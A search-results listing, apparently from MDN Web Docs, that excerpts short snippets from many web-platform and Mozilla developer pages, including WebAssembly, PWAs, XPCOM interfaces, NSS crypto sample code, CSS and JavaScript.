you can compare it to math, which is also a namespace object for mathematical constants and functions, or to intl which is the namespace object for internationalization constructors and other language-sensitive functions.
... webassembly.table() an array-like structure representing a webassembly table, which stores function references.
...because the instantiatestreaming() function accepts a promise for a response object, you can directly pass it a windoworworkerglobalscope.fetch() call, and it will pass the response into the function when it fulfills.
...And 21 more matches
Add to Home screen - Progressive web apps (PWAs)
it's also supported in some chromium desktop browsers.
... we've written a very simple example web site (see our demo live, and also see the source code) that doesn't do much, but was developed with the necessary code to allow it to be added to a home screen, as well as a service worker to enable it to be used offline.
...(note: in android 8 and higher, a system-level "add to home screen" permission dialog will be shown first.) if you have mobile chrome available, the experience is slightly different; upon loading our site, you'll see an install banner pop up asking whether you want to add this app to your home screen.
...And 21 more matches
Progressive web app structure - Progressive web apps (PWAs)
architecture of an app there are two main, different approaches to rendering a website — on the server or on the client.
... they both have their advantages and disadvantages, and you can mix the two approaches to some degree.
... mixing ssr with csr can lead to the best results — you can render a website on the server, cache its contents, and then update the rendering on the client-side as and when needed.
...And 21 more matches
Index - XSLT: Extensible Stylesheet Language Transformations
WebXSLTIndex
the stylesheet has to be passed in as an xml document, which means that the .xsl file has to be loaded by the page before calling xsltprocessor.importstylesheet().
...this intelligent structuring is particularly important as more and more data transfers are automated and take place between highly heterogeneous machines linked by a network.
...a top-level element must appear as the child of either <xsl:stylesheet> or <xsl:transform>.
...And 21 more matches
Desktop gamepad controls - Game development
previous overview: control mechanisms next now we'll look at adding something extra — support for gamepad controls, via the gamepad api.
... the gamepad api gives you the ability to connect a gamepad to your computer and detect pressed buttons directly from the javascript code thanks to the browsers implementing such feature.
... pure javascript approach let's think about implementing pure javascript gamepad controls in our little controls demo first to see how it would work.
...And 20 more matches
Gecko FAQ - Gecko Redirect 1
gecko is the open source browser engine designed to support open internet standards such as html 5, css 3, the w3c dom, xml, javascript, and others.
...gecko has been known previously by the code names "raptor" and "nglayout"; the new name was chosen following a trademark infringement dispute.
... basically, a layout engine takes content (such as html, xml, image files, applets, and so on) and formatting information (such as cascading style sheets, presentational html tags, etc.) and displays the formatted content on the screen.
...And 20 more matches
Attribute selectors - Learn web development
presence and value selectors these selectors enable the selection of an element based on the presence of an attribute alone (for example href), or on various different matches against the value of the attribute.
... selector example description [attr] a[title] matches elements with an attr attribute (whose name is the value in square brackets).
... [attr=value] a[href="https://example.com"] matches elements with an attr attribute whose value is exactly value — the string inside the quotes.
...And 20 more matches
What are hyperlinks? - Learn web development
prerequisites: you should know how the internet works and be familiar with the difference between a webpage, a website, a web server, and a search engine.
...to explain what links are, we need to step back to the very basics of web architecture.
... back in 1989, tim berners-lee, the web's inventor, spoke of the three pillars on which the web stands: url, an address system that keeps track of web documents http, a transfer protocol to find documents when given their urls html, a document format allowing for embedded hyperlinks as you can see in the three pillars, everything on the web revolves around documents and how to access them.
...And 20 more matches
Advanced text formatting - Learn web development
previous overview: introduction to html next there are many other elements in html for formatting text, which we didn't get to in the html text fundamentals article.
...the purpose of these lists is to mark up a set of items and their associated descriptions, such as terms and definitions, or questions and answers.
... let's look at an example of a set of terms and definitions: soliloquy in drama, where a character speaks to themselves, representing their inner thoughts or feelings and in the process relaying them to the audience (but not to other characters.) monologue in drama, where a character speaks their thoughts out loud to share them with the audience and any other characters present.
...And 20 more matches
Video and Audio APIs - Learn web development
previous overview: client-side web apis next html5 comes with elements for embedding rich media in documents — <video> and <audio> — which in turn come with their own apis for controlling playback, seeking, etc.
... this article shows you how to do common tasks such as creating custom playback controls.
...here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> </video> this creates a video player inside the browser like so: you can review what all the html features do in the article linked above; for our purposes here, the most interesting attribute is controls, which enables the default set of playback controls.
...And 20 more matches
Getting started with React - Learn web development
we'll discover a little bit of detail about its background and use cases, set up a basic react toolchain on our local computer, and create and play with a simple starter app — learning a bit about how react works in the process.
...these components can be composed together to create a full ui, and react abstracts away much of the rendering work, leaving you to concentrate on the ui design.
... while react can be used for small pieces of an interface, it's not as easy to "drop into" an application as a library like jquery, or even a framework like vue — it is more approachable when you build your entire app with react.
...And 20 more matches
Command line options
you can also control how mozilla applications open, which components open initially, and what the components do when they open.
... command parameters containing spaces must be enclosed in quotes, such as "joel user".
... each message option follows the syntax field=value, for example: to=foo@nowhere.net subject=cool page attachment=www.mozilla.org attachment='file:///c:/test.txt' body=check this page or also in thunderbird 52 and newer: body=c:\path\to\file.txt separate multiple message options by comma (,), for example: "to=foo@nowhere.net,subject=cool page" .
...And 20 more matches
SVN for Localizers
it's a handy tool that allows us to grab, change, and store versions of source files in one location.
...you use it to copy files from the server to your computer and to push changed or localized files back onto the server.
... installing svn client: linux users can download the svn client from http://subversion.apache.org/packages.html or install packages provided within their distribution (for example, in debian, sudo apt-get install subversion).
...And 20 more matches
EncDecMAC using token object - sample 3
---" #define iv_trailer "-----end iv-----" #define mac_header "-----begin mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" typedef enum { encrypt, decrypt, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4 } headertype; /* * print usage message and exit */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s -c -d [-z ] " "[-p | -f ] -i -o \n\n", progname); fprintf(stderr, "%-20s specify 'a' for encrypt operation\n\n", "-c "); fprintf(stderr, "%-20s specify 'b' for decrypt operation\n\n", " "); fprintf(stderr, "%-20s specify db directory path\n\n", "-d "); fprintf(stderr, "%-20s specify db password [optional]\n\n", "-p "); fprintf(stderr, "%-20s specify db ...
...secstatus gathercka_id(pk11symkey* key, secitem* buf) { secstatus rv = pk11_readrawattribute(pk11_typesymkey, key, cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readrawattribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a symmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", pk11_gettokenname(slot)); return null; } } /* generate the symmetric key */ key = pk11_tokenkeygen(slot, mechanism, null, keysize, key...
...id, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : digestop()\n"); } return rv; } /* * finalize macing */ secstatus macfinal(pk11context *ctx, unsigned char *mac, unsigned int *maclen, unsigned int maxlen) { secstatus rv = pk11_digestfinal(ctx, mac, maclen, maxlen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac fa...
...And 20 more matches
SpiderMonkey Internals
interpreter like many portable interpreters, spidermonkey's interpreter is mainly a single, tremendously long function that steps through the bytecode one instruction at a time, using a switch statement (or faster alternative, depending on the compiler) to jump to the appropriate chunk of code for the current instruction.
...so optimizations such as dense arrays and the property cache are, alas, not transparently tucked away in the jsarray.* and jsobj.* files.
... compiler the compiler consumes javascript source code and produces a script which contains bytecode, source annotations, and a pool of string, number, and identifier literals.
...And 20 more matches
Property attributes
see js_defineproperty, js_fs, and js_fn flag description jsprop_enumerate the property is visible to javascript for...in and for each ...
... mxr id search for jsprop_enumerate jsprop_readonly the property's value cannot be set.
... mxr id search for jsprop_readonly jsprop_permanent the property cannot be deleted.
...And 20 more matches
SpiderMonkey 17
these release notes are an incomplete draft and were initially seeded from the (now-defunct) 1.8.8 release notes, which were themselves seeded from the 1.8.5 release notes, so lots of the information here isn't actually new to spidermonkey 17.
...you can download full source code here: http://ftp.mozilla.org/pub/mozilla.org/js/mozjs17.0.0.tar.gz (md5 checksum: 20b6f8f1140ef6e47daa3b16965c9202).
... please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup.
...And 20 more matches
Packaging WebLock
the installation script for the weblock component can also be used to register the component with the browser into which it is installed (see registration methods in xpcom for more information on registration).
... the sample installation script shown below uses the mozilla xpinstall technology to manipulate an installer and talk to mozilla'schrome registry as high-level javascript objects.
... what is the chrome registry?
...And 20 more matches
nsDependentSubstring
class declaration nstdependentsubstring_chart a string class which wraps an external array of string characters.
... names: nsdependentsubstring for wide characters nsdependentcsubstring for narrow characters method overview constructors rebind beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char operator= adopt replace replaceascii append appendascii appendli...
...teral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsastring_internal data members no public members.
...And 20 more matches
IAccessibleTable2
1.0 66 introduced gecko 1.9.2 inherits from: iunknown last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) please also refer to the iaccessibletablecell interface.
...get] hresult caption([out] iunknown accessible ); [propget] hresult cellat([in] long row, [in] long column, [out] iunknown cell ); [propget] hresult columndescription([in] long column, [out] bstr description ); [propget] hresult iscolumnselected([in] long column, [out] boolean isselected ); [propget] hresult isrowselected([in] long row, [out] boolean isselected ); [propget] hresult modelchange([out] ia2tablemodelchange modelchange ); [propget] hresult ncolumns([out] long columncount ); [propget] hresult nrows([out] long rowcount ); [propget] hresult nselectedcells([out] long cellcount ); [propget] hresult nselectedcolumns([out] long columncount ); [propget] hresult nselectedrows([out] long rowcount ); [propget] hresult rowdescription([in] long row, [out] bstr descriptio...
...[propget] hresult cellat( [in] long row, [in] long column, [out] iunknown cell ); parameters row the 0 based row index for which to retrieve the cell.
...And 20 more matches
nsIAccessibleRetrieval
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsiaccessible getaccessiblefor(in nsidomnode anode); nsiaccessible getaccessibleinshell(in nsidomnode anode, in nsipresshell apresshell); nsiaccessible getaccessibleinweakshell(in nsidomnode anode, in nsiweakreference apresshell); obsolete since gecko 2.0 nsiaccessible getaccessibleinwindow(in nsidomnode anode, in nsidomwindow adomwin); obsolete since gecko 2.0 nsiaccessible getapplicationaccessible(); nsiaccessible getattachedaccessible...
...for(in nsidomnode anode); nsiaccessible getcachedaccessible(in nsidomnode anode, in nsiweakreference ashell); obsolete since gecko 2.0 nsiaccessnode getcachedaccessnode(in nsidomnode anode, in nsiweakreference ashell); obsolete since gecko 2.0 nsidomnode getrelevantcontentnodefor(in nsidomnode anode); astring getstringeventtype(in unsigned long aeventtype); astring getstringrelationtype(in unsigned long arelationtype); astring getstringrole(in unsigned long arole); nsidomdomstringlist getstringstates(in unsigned long astates, in unsigned long aextrastates); methods getaccessiblefor() return an nsiaccessible for a dom node in pres shell 0.
... create a new accessible of the appropriate type if necessary, or use one from the accessibility cache if it already exists.
...And 20 more matches
nsIMsgDatabase
last changed in gecko 1.9 (firefox 3) inherits from: nsidbchangeannouncer method overview void open(in nsilocalfile afoldername, in boolean acreate, in boolean aleaveinvaliddb); void forcefolderdbclosed(in nsimsgfolder afolder); void close(in boolean aforcecommit); void commit(in nsmsgdbcommit committype); void forceclosed(); void clearcachedhdrs; void resethdrcachesize(in unsigned long size); nsimsgdbhdr getmsghdrforkey(in nsmsgkey key); nsimsgdbhdr getmsghdrformessageid(in string messageid); boolean containskey(in nsmsgkey key); nsimsgdbhdr createnewhdr(in nsmsgkey ...
... nsisimpleenumerator enumeratemessages(); nsisimpleenumerator enumeratethreads(); void synccounts; nsimsgthread getthreadcontainingmsghdr(in nsimsgdbhdr msghdr); void markhdrread(in nsimsgdbhdr msghdr, in boolean bread, in nsidbchangelistener instigator); void markhdrreplied(in nsimsgdbhdr msghdr, in boolean breplied, in nsidbchangelistener instigator); void markhdrmarked(in nsimsgdbhdr msghdr, in boolean mark,in nsidbchangelistener instigator); void markmdnneeded(in nsmsgkey key, in boolean bneeded,in nsidbchangelistener instigator); boolean ismdnneeded(in nsmsgkey key); void markmdnsent(in nsmsgkey key, in bool...
...ean bneeded, in nsidbchangelistener instigator); boolean ismdnsent(in nsmsgkey key); void markread(in nsmsgkey key, in boolean bread, in nsidbchangelistener instigator); void markreplied(in nsmsgkey key, in boolean breplied, in nsidbchangelistener instigator); void markforwarded(in nsmsgkey key, in boolean bforwarded, in nsidbchangelistener instigator); void markhasattachments(in nsmsgkey key, in boolean bhasattachments, in nsidbchangelistener instigator); void markthreadread(in nsimsgthread thread, in nsidbchangelistener instigator, in nsmsgkeyarrayptr thosemarked); native code only!
...And 20 more matches
nsINavHistoryQuery
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) the nsinavhistoryquery is not intended to be a super-general query mechanism.
...this allows place queries to be returned (which might include bookmark folders -- use the bookmark service's getfolderuri) as well as anything else that may have been tagged with an annotation.
... begintimereference long one of the constants time_relative_* which indicates how to interpret the corresponding begin time value.
...And 20 more matches
nsIProtocolHandler
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview boolean allowport(in long port, in string scheme); nsichannel newchannel(in nsiuri auri); nsiuri newuri(in autf8string aspec, in string aorigincharset, in nsiuri abaseuri); attributes attribute type description defaultport long the default port is the port the protocol uses by default.
... scheme acstring the scheme for this protocol ("file", "http", and so forth).
... uri_forbids_automatic_document_replacement 1<<5 "automatic" loads that would replace the document (such as a meta refresh, certain types of xlinks, and other non-user-triggered loads) are not allowed if the originating uri has this protocol flag.
...And 20 more matches
Introduction to DOM Inspector - Firefox Developer Tools
dom inspector can serve as a sanity check to verify the state of the dom, or it can be used to manipulate the dom by hand, if desired.
... inspecting chrome documents the inspect chrome document menupopup can be accessed from the file menu , and it will contain the list of currently loaded chrome windows and subdocuments.
...the dom inspector keeps track of all the windows that are open, so to inspect the dom of a particular window in the dom inspector, simply access that window as you would normally and then choose its title from this dynamically updated menulist.
...And 20 more matches
Debugger.Frame - Firefox Developer Tools
given a debugger.frame instance, you can find the script the frame is executing, walk the stack to older frames, find the lexical environment in which the execution is taking place, and so on.
... (if more than one debugger instance is debugging the same code, each debugger gets a separate debugger.frame instance for a given frame.
... this allows the code using each debugger instance to place whatever properties it likes on its debugger.frame instances, without worrying about interfering with other debuggers.) when the debuggee pops a stack frame (say, because a function call has returned or an exception has been thrown from it), the debugger.frame instance referring to that frame becomes inactive: its live property becomes false, and accessing its other properties or calling its methods throws an exception.
...And 20 more matches
AudioBufferSourceNode - Web APIs
the audiobuffersourcenode interface is an audioscheduledsourcenode which represents an audio source consisting of in-memory audio data, stored in an audiobuffer.
... it's especially useful for playing back audio which has particularly stringent timing accuracy requirements, such as for sounds that must match a specific rhythm and can be kept in memory rather than being played from disk or the network.
... to play sounds which require accurate timing but must be streamed from the network or played from disk, use a audioworkletnode to implement its playback.
...And 20 more matches
Using the CSS Typed Object Model - Web APIs
let's see how this works by creating our first example, which explores computedstylemap().
... we start with some html: a paragraph with a link, as well as a definition list to which we will add all the css property / value pairs.
... // get the element const myelement = document.queryselector('a'); // get the <dl> we'll be populating const styleslist = document.queryselector('#regurgitation'); // retrieve all computed styles with computedstylemap() const defaultcomputedstyles = myelement.computedstylemap(); // iterate thru the map of all the properties and values, adding a <dt> and <dd> for each for (const [prop, val] of defaultcomputedstyles) { // properties const cssproperty = document.createelement('dt'); cssproperty.appendchild(document.createtextnode(prop)); styleslist.appendchild(cssproperty); // values const cssvalue = document.createelement('dd'); cssvalue.appendchild(document.createtextnode(val)); styleslist.appendchild(cssvalue); } the computedstylemap() method return...
...And 20 more matches
File and Directory Entries API - Web APIs
you can develop apps which read, write, and create files and/or directories in a virtual, sandboxed file system.
...check the browser compatibility section for details.
... two very similar apis exist depending on whether you desire asynchronous or synchronous behavior.
...And 20 more matches
PaymentRequest.show() - Web APIs
it may only be called while handling events that represent user interactions, such as click, keyup, or the like.
... if your architecture doesn't necessarily have all of the data ready to go at the moment it instantiates the payment interface by calling show(), specify the detailspromise parameter, providing a promise that is fulfilled once the data is ready.
... processing the result and, if necessary, calling paymentresponse.retry() to retry a failed payment can all be done either asynchronously or synchronously, depending on your needs.
...And 20 more matches
Selection - Web APIs
WebAPISelection
the anchor is where the user began the selection and the focus is where the user ends the selection.
... if you make a selection with a desktop mouse, the anchor is placed where you pressed the mouse button, and the focus is placed where you released the mouse button.
... anchor and focus should not be confused with the start and end positions of a selection.
...And 20 more matches
Using writable streams - Web APIs
only chrome currently has basic writable streams implemented.
...this takes a given message and writes it into a writable stream, displaying each chunk on the ui as it is written to the stream and also displaying the whole message on the ui when writing has finished.
... the syntax skeleton looks like this: const stream = new writablestream({ start(controller) { }, write(chunk,controller) { }, close(controller) { }, abort(reason) { } }, { highwatermark, size() }); the constructor takes two objects as parameters.
...And 20 more matches
Coordinate systems - CSS: Cascading Style Sheets
the position is specified as the number of pixels offset from the origin along each dimension of the context.
... dimensions in the coordinate systems used by web technologies, convention dictates that the horizontal offset is called the x-coordinate, where a negative value indicates a position to the left of the origin and a positive value is to the right of the origin.
... it's actually possible to change the definitions and orientations of these coordinate systems using css properties such as transform.
...And 20 more matches
OpenType font features guide - CSS: Cascading Style Sheets
font features or variants refer to different glyphs or character styles contained within an opentype font.
... these include things like ligatures (special glyphs that combine characters like 'fi' or 'ffl'), kerning (adjustments to the spacing between specific letterform pairings), fractions, numeral styles, and a number of others.
... some fonts will have one or more of these features enabled by default (kerning and default ligatures are common examples), while others are left to the designer or developer to choose to enable in specific scenarios.
...And 20 more matches
CSS Grid Layout and Accessibility - CSS: Cascading Style Sheets
sites such as the css zen garden showcased this ability.
... the css zen garden challenged us to take identical markup and create a unique design using css.
...we can use the order property, which will change how items auto-place.
...And 20 more matches
RegExp.prototype.exec() - JavaScript
the exec() method executes a search for a match in a specified string.
...they store a lastindex from the previous match.
... using this internally, exec() can be used to iterate over multiple matches in a string of text (with capture groups), as opposed to getting just the matching strings with string.prototype.match().
...And 20 more matches
Lexical grammar - JavaScript
the source text of ecmascript scripts gets scanned from left to right and is converted into a sequence of input elements which are tokens, control characters, line terminators, comments or white space.
... control characters control characters have no visual representation but are used to control the interpretation of the text.
... unicode format-control characters code point name abbreviation description u+200c zero width non-joiner <zwnj> placed between characters to prevent being connected into ligatures in certain languages (wikipedia).
...And 20 more matches
Web Performance
it is important to minimize the loading and response times and add additional features to conceal latency by making the experience as available and interactive as possible, as soon as possible, while asynchronously loading in the longer tail parts of the experience.
...since that's a universal issue, we won't be focusing on it too much here.
... instead, we're going to look at a more important issue when building web apps: starting up as asynchronously as possible.
...And 20 more matches
WebAssembly
webassembly is a new type of code that can be run in modern web browsers — it is a low-level assembly-like language with a compact binary format that runs with near-native performance and provides languages such as c/c++, c# and rust with a compilation target so that they can run on the web.
... loading and running webassembly code after you have a .wasm, this article covers how to fetch, compile and instantiate it, combining the webassembly javascript api with the fetch or xhr apis.
... exported webassembly functions exported webassembly functions are the javascript reflections of webassembly functions which allow calling webassembly code from javascript.
...And 20 more matches
Building up a basic demo with the PlayCanvas engine - Game development
environment setup to start developing with playcanvas, you don't need much.
... you should start off by: making sure you are using a modern browser with good webgl support, such as the latest firefox or chrome.
... <!doctype html> <html> <head> <meta charset="utf-8"> <title>mdn games: playcanvas demo</title> <style> body { margin: 0; padding: 0; } canvas { width: 100%; height: 100%; } </style> </head> <body> <script src="playcanvas-latest.js"></script> <canvas id="application-canvas"></canvas> <script> var canvas = document.getelementbyid("application-canvas"); /* all our javascript code goes here */ </script> </body> </html> it contains some basic information like the document <title>, and some css...
...And 19 more matches
Efficient animation for web games - Game development
this article covers techniques and advice for creating efficient animation for web games, with a slant towards supporting lower end devices such as mobile phones.
... we touch on css transitions and css animations, and javascript loops involving window.requestanimationframe.
... there are several techniques worth knowing that will improve the performance of your game or application whilst also using less battery life, especially on low-end devices.
...And 19 more matches
What are browser developer tools? - Learn web development
these tools do a range of things, from inspecting currently-loaded html, css and javascript to showing which assets the page has requested and how long they took to load.
...three ways: keyboard: ctrl + shift + i, except internet explorer and edge: f12 macos: ⌘ + ⌥ + i menu bar: firefox: menu ➤ web developer ➤ toggle tools, or tools ➤ web developer ➤ toggle tools chrome: more tools ➤ developer tools safari: develop ➤ show web inspector.
... if you can't see the develop menu, go to safari ➤ preferences ➤ advanced, and check the show develop menu in menu bar checkbox.
...And 19 more matches
Images in HTML - Learn web development
the src attribute contains a path pointing to the image you want to embed in the page, which can be a relative or absolute url, in the same way as href attribute values in <a> elements.
... so for example, if your image is called dinosaur.jpg, and it sits in the same directory as your html page, you could embed the image like so: <img src="dinosaur.jpg"> if the image was in an images subdirectory, which was inside the same directory as the html page (which google recommends for seo/indexing purposes), then you'd embed it like this: <img src="images/dinosaur.jpg"> and so on.
... note: search engines also read image filenames and count them towards seo.
...And 19 more matches
Working with JSON - Learn web development
json is a text-based data format following javascript object syntax, which was popularized by douglas crockford.
... a json object can be stored in its own file, which is basically just a text file with an extension of .json, and a mime type of application/json.
... json structure as described above, a json is a string whose format very much resembles javascript object literal format.
...And 19 more matches
Object-oriented JavaScript for beginners - Learn web development
objects can contain related data and code, which represent information about the thing you are trying to model, and functionality or behavior that you want it to have.
... object data (and often, functions too) can be stored neatly (the official word is encapsulated) inside an object package (which can be given a specific name to refer to, which is sometimes called a namespace), making it easy to structure and access; objects are also commonly used as data stores that can be easily sent across the network.
... defining an object template let's consider a simple program that displays information about the students and teachers at a school.
...And 19 more matches
Creating Sandboxed HTTP Connections
introduction starting with gecko 1.8.1 (firefox 2), it is possible to create sandboxed http connections which don't affect the user's cookies.
...to create an nsiuri from an string, we use the newuri method of nsiioservice: // the io service var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); // create an nsiuri var uri = ioservice.newuri(myurlstring, null, null); once the nsiuri has been created, a nsichannel can be generated from it using nsiioservice's newchannelfromuri method: // get a channel for that nsiuri var channel = ioservice.newchannelfromuri(uri); to initiate the connection, the asyncopen method is called.
... channel.asyncopen(listener, null); http notifications the above mentioned listener is a nsistreamlistener, which gets notified about events such as http redirects and data availability.
...And 19 more matches
How to get a stacktrace with WinDbg
(to get a stacktrace for thunderbird or some other product, substitute the product name where ever you see firefox in this instructions.) requirements to get such a stacktrace you need to install the following software: debugging tools for windows microsoft distributes the debugging tools for windows for free, those include windbg which you will need here.
... a firefox nightly or release you need a firefox version for which symbols are availables from the mozilla symbol server to use with windbg.
...(start->all programs->debugging tools for windows->windbg) next, open the "file" menu and choose "open executable...".
...And 19 more matches
Add-on Repository
the api also offers two ways to search for and retrieve an array of addon instances: retrieverecommendedaddons(), which returns a list of recommended add-ons, and searchaddons(), which performs a search of the repository.
... these searches are asynchronous; results are passed to the provided searchcallback object when the search is completed.
... results passed to the searchcallback object only include add-ons that are compatible with the current application and are not already installed or in the process of being installed.
...And 19 more matches
Localization sign-off reviews
each qa review helps us in these ways: ensures that your l10n work is visible and functional within the mozilla application.
... allows us to understand how each l10n team is performing their localization work.
...the merge date for migrating from one product release channel to the next is rapidly approaching.
...And 19 more matches
Midas
introduction midas is the code name for gecko's built-in rich text editor.
... bold if there is no selection, the insertion point will set bold for subsequently typed characters.
... if there is a selection and all of the characters are already bold, the bold will be removed.
...And 19 more matches
Notes on TLS - SSL 3.0 Intolerant Servers
cause there are some number of web servers in production today which incorrectly implement the ssl 3.0 specification.
... netscape 6.x/7.x and mozilla browsers (0.9.1 and later versions) correctly implement the tls specification, and the users cannot utilize sites which have this problem.
... technical information the ssl 3.0 and tls (aka ssl 3.1) specs both contain a provision -- the same provision -- for detecting "version rollback attacks".
...And 19 more matches
Garbage collection
much of the gc work is performed on helper threads.
...this allows compartments to be used for security checks: objects in the same compartment have the same access requirements, so no checks are needed, but checks may be done when traversing cross-compartment wrappers.
... chunk a chunk is the largest internal unit of memory allocation.
...And 19 more matches
WebReplayRoadmap
the low level, yet flexible architecture (described here) provides an extremely powerful platform for implementing debugging and analysis features.
... seeing messages in the console provides a simple and intuitive view into the order in which events have happened.
... the bug only needs to be reproduced in a recording tab once, and then console logs can be added which apply throughout the entire recording.
...And 19 more matches
nsDependentCSubstring
class declaration nstdependentsubstring_chart a string class which wraps an external array of string characters.
... names: nsdependentsubstring for wide characters nsdependentcsubstring for narrow characters method overview constructors rebind beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char operator= adopt replace replaceascii append appendascii appendli...
...teral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsacstring_internal data members no public members.
...And 19 more matches
IAccessibleHyperlink
1.0 66 introduced gecko 1.9 inherits from: iaccessibleaction last changed in gecko 1.9 (firefox 3) this interface represents a hyperlink associated with a single substring of text or single non-text object.
... non-text objects can have either a single link or a collection of links such as when the non-text object is an image map.
... linked objects and anchors are implementation dependent.
...And 19 more matches
nsICookieService
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) see nsicookiemanager and nsicookiemanager2 for methods to manipulate the cookie database directly.
... var cookiesvc = components.classes["@mozilla.org/cookieservice;1"] .getservice(components.interfaces.nsicookieservice); notifications this service broadcasts the following notifications when the cookie list is changed, or a cookie is rejected: topic subject data cookie-changed broadcast whenever the cookie list changes in some way.
... there are four possible data strings for this notification; one notification will be broadcast for each change.
...And 19 more matches
nsINavHistoryContainerResultNode
toolkit/components/places/public/nsinavhistoryservice.idlscriptable a foundation for the interfaces that provide a description of a query result on the places service that describes a container (which is any kind of grouping, including bookmark folders).
... 1.0 66 introduced gecko 1.9 inherits from: nsinavhistoryresultnode last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsinavhistoryresultnode findnodebydetails(in autf8string auristring, in prtime atime, in long long aitemid, in boolean arecursive); nsinavhistoryresultnode getchild(in unsigned long aindex); unsigned long getchildindex(in nsinavhistoryresultnode anode); attributes attribute type description childcount unsigned long the number of child nodes; accessing this throws an ns_error_not_available exception of containeropen is false.
... childrenreadonly boolean false if the node's list of children can be modified (by adding or removing children, or rearranging them), or true if the user interface should not allow the list of children to be altered.
...And 19 more matches
nsINavHistoryObserver
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 21.0 (firefox 21.0 / thunderbird 21.0 / seamonkey 2.18) warning: if you are in the middle of a batch transaction, there may be a database transaction active.
...method overview void onbeforedeleteuri(in nsiuri auri, in acstring aguid); obsolete since gecko 21.0 void onbeginupdatebatch(); void onclearhistory(); void ondeleteuri(in nsiuri auri, in acstring aguid); void ondeletevisits(in nsiuri auri, in prtime avisittime, in acstring aguid); void onendupdatebatch(); void onpagechanged(in nsiuri auri, in unsigned long awhat, in astring avalue); void onpageexpired(in nsiuri auri, in prtime avisittime, in boolean awholeentry); obsolete since gecko 2.0 void ontitlechanged(in nsiuri auri, in astring apagetitle); void onvisit(in nsiuri auri, in long long avisitid, in prtime atime, in long ...
...long asessionid, in long long areferringid, in unsigned long atransitiontype, in acstring aguid, out unsigned long aadded); constants constant value description attribute_favicon 3 the page's favicon changed.
...And 19 more matches
nsIRequest
inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) for example nsichannel typically passes itself as the nsirequest argument to the nsistreamlistener on each onstartrequest, ondataavaliable, and onstoprequest invocation.
... constants various load flags which may be or'd together.
... the following flags control the flow of data into the cache.
...And 19 more matches
nsISelectionPrivate
inherits from: nsisupports last changed in gecko 35 (firefox 35 / thunderbird 35 / seamonkey 2.32) warning: the content of this article may be out of date.
... method overview void addselectionlistener(in nsiselectionlistener newlistener); void endbatchchanges(); void getcachedframeoffset(in nsiframe aframe, in print32 inoffset, in nspointref apoint); native code only!
...obsolete since gecko 12.0 long gettableselectiontype(in nsidomrange range); void removeselectionlistener(in nsiselectionlistener listenertoremove); void scrollintoview(in short aregion, in boolean aissynchronous, in short avpercent, in short ahpercent); void setancestorlimiter(in nsicontent acontent); native code only!
...And 19 more matches
nsISyncJPAKE
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void final(in acstring ab, in acstring agvb, in acstring arb, in acstring ahkdfinfo, out acstring aaes256key, out acstring ahmac256key); void round1(in acstring asignerid, out acstring agx1, out acstring agv1, out acstring ar1, out acstring agx2, out acstring agv2, out acstring ar2); void round2(in acstring apeerid, in acstring apin, in acstring agx3, in acstring agv3, in acstring ar3, in acstring agx4, in acstring agv4, in acstring ar4, out acstring aa, out acstring agva, out acstring ara); methods final() perform the...
... final step of the jpake exchange.
...void final( in acstring ab, in acstring agvb, in acstring arb, in acstring ahkdfinfo, out acstring aaes256key, out acstring ahmac256key ); parameters ab schnorr signature value b, in hex representation.
...And 19 more matches
nsIZipWriter
modules/libjar/zipwriter/public/nsizipwriter.idlscriptable this interface provides an easy way for scripts to archive data in the zip file format.
... operations on the archive can be performed one by one, or queued for later execution.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) once all the operations you wish to perform are added to the queue, a call to processqueue() will perform the operations in the order they were added to the queue.
